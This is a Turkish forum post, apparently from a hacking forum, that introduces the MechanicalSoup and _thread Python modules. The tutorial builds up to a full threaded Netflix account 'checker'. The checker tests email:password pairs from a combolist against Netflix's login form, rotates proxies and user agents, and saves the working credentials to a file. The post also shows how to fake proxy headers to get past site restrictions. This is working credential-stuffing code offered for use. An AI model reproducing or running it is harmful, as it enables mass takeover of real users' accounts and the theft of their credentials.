İPUCU

Python Artificial Intelligence’da en çok kullanılan dildir ve gerekli dökümanların paylaşım alanlar burada paylaşılmaktadır.

Seçenekler

MechanicalSoup python checker yapımı//UmutKalay

umutkalay - ait Kullanıcı Resmi (Avatar)
Siber İstihbarat Uzmanı
Üyelik tarihi:
04/2019
Mesajlar:
243
Konular:
26
Teşekkür (Etti):
101
Teşekkür (Aldı):
74
Ticaret:
(0) %
3 Hafta önce
#1
MechanicalSoup python checker yapımı//UmutKalay
MechanicalSoup ve _thread Modülleri



MechanicalSoup



MechanicalSoup modülü, requests-selenium modüllerinin eksi yönlerinin kesilip artı yönlerinin birleştirilmiş halidir. Hem selenium gibi sayfada form doldurabilir hemde requests gibi browser da bir sayfa açmadan hızlı bir şekilde bu işlemi gerçekleştirebilir. Artı yanlarından bir başkası da post isteklerine karşılık vermeyen veya engelleyen sitelere rahatlıkla post isteği atabilmemiz.

Kod:
pip install MechanicalSoup
>>>import mechanicalsoup

>>>br =mechanicalsoup.StatefulBrowser() #Tarayıcı nesnesi oluşturduk

>>>br.session.proxies = {"http":"http://1.1.1.1:8080","https":"https://1.1.1.1:8080"} # Proxy ayarlarını değiştirdik

>>>br.session.proxies.update({"http":"http://1.1.1.1:8080","https":"https://1.1.1.1:8080"}) # Bir üst deki koddan farkı sahte proxy olmasıdır. Siteye bu proxy üzerinden bağlandığını beyan ederken aslında gerçek ip üzerinden işlem yapar proxy çalışmasa bile sıkıntı olmaz twitter gibi bir çok site de bunu afiyetle yer

>>>br.session.headers = {"User-Agent":useragent_bilgisi,"referer":referer_bilgisi } # User-Agent ve referer ayarlarını değiştirdik.

>>>browser.session.headers.update({"User-Agent":useragent_bilgisi,"referer":referer_bilgisi }) #Proxy deki update gibi sahte bilgi beyan eder.

>>>br.open("https://twitter.com/login") # Ve bir siteye bağlantı isteği gönderdik
<Response [200]> #Başarı durumunda response 200 şeklinde bir dönüt döndürür

>>>br.get_url() #Şu anda işlemin bulunduğu sayfa link ini döndürür
https://twitter.com/login

>>>br.get_current_page() #Site verilerini içe çekmek için kullanılır

Bir üstteki kodun devamına ek olarak, BeautifulSoup import etmeksizin BeautifullSoup içerisindeki modülleri kullanmamız mümkün (br.get_current_page().find_all() gibi). Gereksiz bilgiden kaçınmak için bu kısmı açmayacağım.

>>>br.get_current_page().find_all('form') #Sayfa içindeki form bilgilerini döndürür

>>>br.select_form('form[action="https://twitter.com/sessions"]') # Sayfa içerisinde doldurmak istediğimiz formun action değerini yazdık ve seçtik.Sonraki adımlar bu form üzerinden devam edecek

>>>br.get_current_form().print_summary() # Seçtiğimiz form içerisindeki kodu döndürür

>>>br["session[username_or_email"] = "Kullanıcı adı" #Form içerisindeki kullanıcı adı kısmını seçtik ve yazmak istediğimiz kullanıcı adını yazdık

>>>br["session[password]"] = "Parola" #Kullanıcı parolamızı yazdık

>>>br.submit_selected() # Ve giriş butonuna tıkladık. 1 den fazla buton varsa formun içerisinde parantez içerisine buton bilgileri eklenmeli.

>>>br.launch_browser() #Modülün bir sayfa açmadan işlem gerçekleştirdiğini söylemiştik fakat yinede sayfa içi yaptığımız işlemleri görmek istersek bu fonksiyonu kullanabiliriz. Unutmayalım ki gerçek bir sayfa açılmayacak.



_thread


Thread modülü içine aldığı fonksiyonun görevi gerçekleşirken deyim yerindeyse koda "sen devam et bu iş bende!" söyleminin işlemini gerçekleştirir

>>>import _thread
>>>_thread.start_new_thread(fonksiyon_ismi , (foksiyona gönderilecek değerler))

Bir üstteki satır mantığı ile modülü anlamak ve kavramak mümkün. Fakat tam anlamıyla verim sağlamak istiyorsak döngü içerisinde kullanmamız gerekecek. Mesela bir url e bağlanıp analiz gerçekleştiren bir fonksiyon yaptık ve fonksiyonun başından bitimine geçen süre 5 saniye. Bu fonksiyonu normal bir biçimde döngüye atarsak her 5 saniyede bir işlem gerçekleştirecek. Ama yaptığımız fonksiyonu _thread modülü ile baraber üstteki mantık ile döngünün içine atarsak döngü son bulana kadar milisaniye başı işlem gerçekleşir(Fonksiyon içerisindeki işlem zamanı değişmez sadece aynı anda işlem gerçekleşir). Time modülü içerisindeki time.sleep() fonksiyonu ile hız ayarı uygulayabiliriz. Hemen _thread kullanımından bir sonraki satıra time.sleep(0.5) yazarsak her yarım saniyede bir işlem gerçekleştirir.

Örnek döngü içi _thread kullanımı:
Kod:
import _thread
import time
def fonksiyon(a,b):
    print(a**b)
for i in range(10):
    _thread.start_new_thread(fonksiyon, (i, 2))
    time.sleep(0.05)





Örnek MecanicalSoup ve _thread kullanımı
Kod:
import mechanicalsoup
import time
import random
import _thread
def netflix(email,parola):
    p = random.choice(q)[:-1]
    print(p)
    referer = random.choice(r)[:-1]
    user = random.choice(u)[:-1]
    proxies = {'http': 'http://' + p}
    browser = mechanicalsoup.StatefulBrowser()
    browser.session.proxies = proxies
    browser.session.headers = {'referer': referer, 'User-Agent': user}
    browser.open("https://netflix.com/login")
    browser.select_form('form[class="login-form"]')
    browser["userLoginId"] = email
    browser["password"] = parola
    browser.submit_selected()
    print(browser.get_url())
    if not "login" in browser.get_url():
        print(email,parola)
        n.write(email+":"+parola)
        n.write(":"+p+"\n")
        browser.close()
    else:
        browser.close()

r = open(referer dosya yolu, "r", encoding="iso-8859-9")
r = list(r)
u = open(user agent dosya yolu, "r", encoding="iso-8859-9")
u = list(u)
q = open("proxy dosya yolu", "r", encoding="iso-8859-9")
q = list(q)
e =open("combolist dosya yolu","r",encoding="iso-8859-9")
while True:
    with open(İşlem sonunda başarılı girişlerin kaydedileceği dosya ismi, "a", encoding="iso-8859-9") as n:
        a = e.readline()
        if len(a) == 0:
            n.close()
            break
        b = a.split(":")
        email = b[0]
        if len(b[1]) < 2:
            continue
        parola = b[1][:-1]
        print(e.tell())
        _thread.start_new_thread(netflix, (email, parola))
        time.sleep(0.2)
e.close()



--------------------- Kaldığı yeri cennet yapamayana, kaçtığı her yer cehennemdir..
Konu umutkalay tarafından (bir Hafta önce Saat 04:53 ) değiştirilmiştir.
Posew7, Zenotron, gl0balfox, chabuffen Teşekkür etti.

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı